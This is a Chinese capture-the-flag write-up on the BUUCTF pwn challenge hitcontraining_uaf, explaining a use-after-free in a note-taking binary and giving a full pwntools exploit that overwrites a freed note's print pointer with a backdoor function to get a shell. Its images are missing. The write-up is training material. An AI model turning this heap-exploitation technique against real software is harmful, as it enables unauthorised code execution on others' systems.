[BUUCTF]刷题记录:hitcontraining_uaf
hitcontraining_uaf
1.checksec:
.png)
2.ida分析:
1.main函数:
)
2.menu菜单函数:
根据输入的数字提供程序的不同功能,一共有add,delete,print,exit四个功能:
)
3.add函数:
.png)
4.free函数:
free之后没有将指针置为0,存在uaf漏洞:
.png)
5.print函数:
.png)
6.magic函数(后门函数):
.png)
3.利用思路:
先用add两次申请堆块,这样可以申请四个大小分别为0x10,0x10,0x28,0x28的堆块,然后将它们都delete掉,
然后再add(8,p32(magic)),就可以把free掉的两个0x10大小的chunk从fastbin中申请出来,且把print_note_content改为magic函数,这样再print_(0)就可以利用print函数来执行magic,拿到shell。
1.add两次:
.png)
可以看到已经拿到四个chunk了
.png)
2.delete掉申请的堆块:
.png)
.png)
.png)
3.add(8,p32(magic)),修改申请chunk的puts函数为magic函数:
.png)
.png)
.png)
5.print(0),拿到shell:
.png)
4.exp:
from pwn import *
context.log_level="debug"
io=process("hacknote")
io=remote("node4.buuoj.cn",27728)
def add(size,content):
io.recvuntil("Your choice :")
io.sendline("1")
io.recvuntil("size :")
io.sendline(str(size))
io.recvuntil("Content :")
io.sendline(content)
def delete(index):
io.recvuntil("Your choice :")
io.sendline("2")
io.recvuntil("Index :")
io.sendline(str(index))
def print_(index):
io.recvuntil("Your choice :")
io.sendline("3")
io.recvuntil("Index :")
io.sendline(str(index))
magic=0x08048945
add(30,"HAPPY")
add(30,"HAPPY")
delete(0)
delete(1)
add(8,p32(magic))
#gdb.attach(io)
#pause()
print_(0)
#gdb.attach(io)
#pause()
io.interactive()
作者:happynoy
本文版权归作者和博客园共有,欢迎转载,但必须给出原文链接,并保留此段声明,否则保留追究法律责任的权利。

浙公网安备 33010602011771号